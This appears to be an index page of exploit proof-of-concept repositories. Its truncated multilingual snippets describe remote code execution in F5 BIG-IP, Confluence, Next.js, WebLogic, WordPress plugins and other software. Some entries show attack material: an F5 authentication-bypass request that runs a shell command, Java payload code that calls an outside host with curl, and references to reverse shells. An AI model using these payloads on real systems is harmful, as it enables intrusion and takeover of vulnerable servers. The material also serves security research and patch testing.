CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...

through_the_wire

Through the Wire Through the Wire は、CVE-2022-26134 の Proof of Concept エクスプロイトです。この脆弱性は、Atlassian Confluence Server および Data Center のバージョン = 7.13.6 LTS と = 7.18.0 "Latest" に影響する OGNL インジェクションの脆弱性です。これは元々、実環境で悪用されたゼロデイでした。 ベンダー勧告 Volexity の「in-the-wild」に関する分析記事 Rapid7 の分析記事 Through the Wire...

CVE-2024-21546

UniSharp Laravel Filemanager 未認証RCE CVE-2024-21546 このリポジトリには、UniSharp/laravel-filemanager パッケージ（バージョン file-getClientOriginalExtension; if inarray$extension, $unallowedextensions throw new \Exception'File extensi...

CVE-2025-55182-poc

CVE-2025-55182-poc CVE-2025-55182 の概念実証（PoC）エクスプロイトです。Next.js Server Actions の認証不要のリモートコード実行（RCE）脆弱性を標的としています。 このエクスプロイトは、React Server Components（RSC）のマルチパートペイロードの逆シリアル化中にプロトタイプ汚染を悪用し、非同期・非ブロッキングの実行フローを使用して Node.js プロセスに悪意のあるコマンドを注入します。 特徴 非同期実行 : ブロッキングする execSync API の代わりに childprocess.exec...

RP_DCP_Code_Exec

Vulnerabilidad de ejecución remota de código arbitrario en el URI 'DCP://' de Real Player Vídeo demo: https://youtu.be/AMODp3iTnqY El esquema de URI 'DCP://' es un protocolo interno utilizado por Real Player para recuperar URL que mostrar en la pestaña del navegador del reproductor. Significa 'Da...

RealPlayer_G2_RCE

Real Player v.20.0.8.310 G2 Control 'DoGoToURL' リモートコード実行の脆弱性 ビデオデモ: https://www.youtube.com/watch?v=9c9Q4VZQOUk Real Player G2 Control コンポーネントは、引数として 'javascript:' URI を渡すことを許可しているため、リモートコード実行の脆弱性を含みます。これは通常安全ではありません。なぜなら、一部のシナリオでは任意のドメインへのスクリプトコードの注入（Universal Cross Site Scripting -...

RP_Import_RCE

Real Player 'external::Import' 任意文件下载、目录遍历漏洞导致远程代码执行 视频演示：https://youtu.be/CONlijEgDLc Real Player 使用 Microsoft Internet Explorer 的功能，并通过一种应用程序特定的特殊方式暴露属性和方法： 'external' 对象暴露了多个自定义方法和属性。 'Import' 方法在处理 'Copy to My Music'...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template 参考リンク 脆弱性の発生原因： 1. 攻撃者がSolrコンソールに直接アクセスできる場合、/ノード名/config のようなPOSTリクエストを送信することで、そのノードの設定ファイルを変更できます。 2. Apache...

CVE-2022-26134

CVE-2022-26134 Confluence 事前認証オブジェクトグラフナビゲーション言語（OGNL）インジェクション Confluence は、Atlassian が開発する Web ベースのワークスペースコラボレーション製品です。オンプレミス、または Atlassian Cloud の一部として展開できます。ページ、スペース、ページツリーの 3 つの主要機能で構成されています。 ページ: コンテンツはページに格納されます。ページは、Confluence...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 逆シリアル化 テスト環境 Weblogic10.3.6+jdk1.6 パッケージ化されたjarファイル 抽出コード：a6ob 脆弱性の悪用 jarファイルをダウンロードし、marshalsecを使用して悪意のあるRMIサービスを起動します。ローカルでexp.javaをコンパイルします。 package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try...

hook

hook gitrce用のサブモジュール: https://github.com/EQSTSeminar/gitrce 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.130 kali192.168.216.129 --Git clone && フックスクリプトpost-checkoutの実行-- Win192.168.216.130 免責事項 このリポジトリは、CVE-2024-32002に対するgit clone...

CVE-2024-53677

この投稿は EQSTLab が公開した調査記事です。 CVE-2024-53677 ★ CVE-2024-53677 危険なタイプのファイルの無制限アップロードと RCE PoC ★ ラボのセットアップ cd docker docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 . docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677 タイムライン...

bigip-scanner

BIG-IP スキャナー リモートのF5 BIG-IP管理インターフェースで実行中のソフトウェアバージョンを特定します。Bishop Fox Cosmos team によって ❤️ を込めて開発されました。 説明 CVE-2022-1388 は、F5 BIG-IP管理インターフェースにおける深刻な脆弱性であり、攻撃者が認証をバイパスして任意のシステムコマンドをリモートで実行することを可能にします。Bishop Fox は、以下を判定するために使用できる BIG-IP スキャナーを開発しました: リモートのF5 BIG-IP管理インターフェースで実行中のソフトウェアバージョン...

vRealizeLogInsightRCE

VMSA-2023-0001 VMware vRealize Log Insight に影響する VMSA-2023-0001 の POC です。以下の CVE を含みます: VMware vRealize Log Insight ディレクトリトラバーサルの脆弱性 CVE-2022-31706 VMware vRealize Log Insight アクセス制御の不備の脆弱性 CVE-2022-31704 VMware vRealize Log Insight 情報漏えいの脆弱性 CVE-2022-31711 この脆弱性のデフォルト設定では、リバースシェルを作成する cron...

-Pluck-CMS-RCE-CVE-2023-50564

exploit.py 🐍💥 ⚠️ 法的/倫理的注意: このスクリプトは許可された環境（CTF、ラボ、許可を得たペネトレーションテスト）のみで使用してください。許可なくシステムに対して使用しないでください。❌ 🧾 このスクリプトの機能 exploitgreenhorn.pyは、Webパネルにおける典型的なエクスプロイトチェーンを自動化します: ✅ パネルにログイン 有効なパスワードが必要 ✅ メモリ上でZIPを作成 ローカルファイルを書き込まない 📦 ✅ その中にリバースシェル rev.php を配置 🔁🐚 ✅ そのZIPを「モジュール」としてパネルにアップロード 🧩⬆️ ✅...

CVE-2025-68613

CVE-2025-68613 — n8n RCE（式インジェクション経由） 教育目的および許可されたセキュリティ研究目的に限ります。 概要 n8nワークフロー自動化プラットフォームにおける重大なRCE脆弱性（CVSS 9.9）。認証されたユーザーがexecuteCommandノードを介して任意のOSコマンドを実行し、サンドボックス制限をバイパスできます。 フィールド| 詳細 ---|--- CVE| CVE-2025-68613 CVSS| 9.9（Critical） 影響を受けるバージョン| = 0.211.0 例: 基本的なRCE bash pocfinal.sh...

CVE-2025-15368-Exploit

CVE-2025-15368 エクスプロイトツール WordPress用SportsPressプラグイン = 2.7.26 - LFI & RCE 作成者: kazehere4you 日付: 2026-02-11 説明 このツールは、WordPress用SportsPressプラグイン（バージョン2.7.26以下）の Local File Inclusion LFI 脆弱性を悪用します。eventlist ショートコードを利用し、templatename 属性を操作することで、認証された攻撃者（投稿者以上）が任意のファイルをインクルードできます。...

-CVE-2023-33177-

Xibo CMS CVE-2023-33177 脆弱性テスター CVE-2023-33177 の自動セキュリティテストツール - Xibo CMS の Zip Slip パストラバーサル脆弱性によりリモートコード実行 RCE が可能になります。 ⚠️ 免責事項 このツールは教育および許可されたテスト目的のみに使用してください。 自分が所有している、または明示的なテスト許可を得ているシステムでのみ使用してください。 無許可のテストは違法であり、非倫理的です。 📋 説明 Xibo CMS バージョン 1.8.0-2.3.16 および 3.0.0-3.3.4...

CVE-2025-55182-TOOLS

CVE-2025-55182 エクスプロイトツール CVE-2025-55182 総合エクスプロイト/検出ツール 開発:MingYi Security Lab 特徴 脆弱性検出 : 複数のターゲットを一括スキャンして脆弱性を検出 パススキャン : 一般的なServer Actionエンドポイントをスキャンし、脆弱なパスを発見 リモートコード実行 : 脆弱性のあるターゲットでシステムコマンドを実行 複数のエクスプロイト手法 : V1: vmrunInThisContext - 古典的なRCE手法 V2: $@ Chunk.prototype.then - Next.js...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data 参照 CVE-2024-25600 Bricks Builder セキュリティアドバイザリ Wordfence の解説記事 クレジット 発見者: Snicco / Calvin Alkan オリジナルエクスプロイト: K3ysTr0K3R クリーンアップ & 簡略化: Esteban Zárate...